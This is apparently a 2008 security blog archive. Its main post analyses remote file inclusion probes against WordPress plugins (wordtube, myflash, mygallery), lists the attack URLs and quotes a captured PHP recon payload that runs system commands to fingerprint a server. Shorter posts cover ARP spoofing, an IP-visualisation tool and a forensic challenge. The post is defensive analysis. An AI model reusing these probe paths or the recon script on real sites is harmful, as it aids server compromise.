Archive for the ‘Security’ Category

Wordpress and dealing with incoming hacks

Saturday, June 7th, 2008

The other day morning stated out with a conversation with darb that went as follows:

DARB: so…wordpress hey?
BVI: I got over writing my own code
BVI: now I’m waiting for my blog to be 0wn3d
DARB: you know wordpress is the equivalent of an 8ft tall ogre that stands outside looking pretty, smashes tables when he tries to sit down, and needs 20kg of food every day…and offers little or no protection on the side entrance to your establishment?
BVI: exactly!
DARB: lolz
BVI: mine has a spiked collar and a beware of the ogre sign :-)
DARB: that only scares away legitimate users…bandits read that sign as “come on in, we left the side door open”
BVI: yeah
DARB: I love wordpress docs and plugins
DARB: “just chown your /tmp file, and then chmod 777 everything”

Well not 20 minutes later I noticed a number of Remote file inclusion attacks coming in. Nothing like the ogre having sent out an invite to all and sundry. Attacks were coming looking as follows:

  • /blog/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo
  • /blog/archives/5/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo
  • /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo
  • /blog/archives/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo
  • /blog/?flav=rss/wp-content/plugins/myflash/myflash-button.php?wpPATH=foo
  • /wp-content/plugins/myflash/myflash-button.php?wpPATH=foo
  • /blog/wp-content/plugins/myflash/myflash-button.php?wpPATH=foo
  • /blog/archives/14/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=foo
  • /blog/archives/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=foo
  • /blog/archives/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=foo

In the above the actual path for the exploit codes been replaced with foo, but is of the form of http://site/somepath/tx.txt????, or similar.

Ive now seen this form over eighty different systems. The include file seems to vary ( see below) but the same plugins are being targeted. No real surprise as they have been known exploitable for a while.

All the requests were may using libwww-perl/5.810, so most likely come from compromised unix systems. the payload file being referred to has been removed, but I found some others, which are no doubt similar. The algorithm being used for the brute forcing is rather dumb. of the entries listed above, only two relate to viable targets for my given install. I found the request for “blog/?flav=rss/….” rather amusing. Another interesting observation is the number of requests centered around http://lair.moria.org/blog/archives/14 my post relating to Windows XP failing to hibernate. I have yet to see hits on any other particular posts.

Looking at the payload code form some of the other similar attacks, I found the following one interesting, as a more human driven recon script providing information for making a value judgment on the target site rather than an automated assault. (When will these people learn that StudlyCaps isn’t really that cool )

echo "BraT<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo “os: $os<br>”;
echo “uname -a: $alb<br>”;
echo “uptime: $alb2<br>”;
echo “id: $alb3<br>”;
echo “pwd: $alb4<br>”;
echo “user: $alb9<br>”;
echo “phpv: $alb6<br>”;
echo “SoftWare: $alb5<br>”;
echo “ServerName: $alb7<br>”;
echo “ServerAddr: $alb8<br>”;
echo “NigeriaN HackerS TeaM<br>”;

Others are not quite so benign, providing command shells, and in some cases drive by exploits using a number of different tools to try download further payloads onto the system or upload password files, webserver configurations and other sensitive information. c99madscript.php really seems to be the flavour of the month with these, although it has been around a while.

What all these attempts that Ive seen do have in common are the trailing “???” or “?????” irrespective of the payload contents of filename. The purpose of these to me is unclear, surely its a pain to type. Is it a bug ina script, or are people trying to do something else.

Layer 2 security is still important

Wednesday, June 4th, 2008

Richard Bejtlich posted a few days ago about the ‘hack’ on the Metasploit webserver as reported by SunBelt. What is interesting is that the actual website wasnt compromised, but rather another system on the same VLAN at the hosting provider which then performed some ARP spoofing magic against the gateway, in effect redirecting traffic to itself.

Richard mentions some other recent hacks which can be attributed to the same technique. If you can control layer 2 why play around at layer 7? This is something that I probably need to emphasize in my upcoming Infosec course next semester.

New Hilbert Release

Wednesday, June 4th, 2008

With Nick now in Grahamstown, development on the Hilbert Curve application has progressed well. Version 4.05 has been released around a month after the 2.05 edition previously mentioned, which is heading much closer towards completion. The unix build scripts still need to be integrated, but there has been much improvement. The most noticeable improvements are in the processing speed new around 90 seconds for a datafile of 53 million Addresses, and its ability to put out some very high res images (4096×4096) when working with higher order curves. At this resolution we are able to present a single pixel as representing a class C network or in effect 256 individual IP addresses. The updated release also allows for the application of image overlays when in interactive mode, which can make navigation significantly easier.

A sample of the kind of output is seen below (full resolution image is 990K) which shows destination IP addresses harvested from the Albany Schools Cache server during January through May 2008:


A plot of 53 million packets from the CAIDA telescope project - 27 Feb 2007 midnight to 6am:





With these higher resolution images available, analysis can be performed at a much finer grained level.

T2 Forensic Challenge

Wednesday, May 4th, 2005

I found this going through a backlog of ISN mail.

DEVELOPERS AT F-Secure have issued a challenge to hackers to find an
embedded message in a .EXE file.

The challenge looks quite tricky, and the winner gets a free ticket to
the T2′05 info sec conference in Finland, but unfortunately only if
she or he lives in Finland.

As well as figuring out the message, and sending it to a pre-defined
email address, information about the methods and tools must be
supplied.

There’s more information, and the rules of the challenge, here

Even tho I cant win a trip to the con, it should be fun trying to extract the data out he provided file. Hopefully when the competition closes, a solution will be released.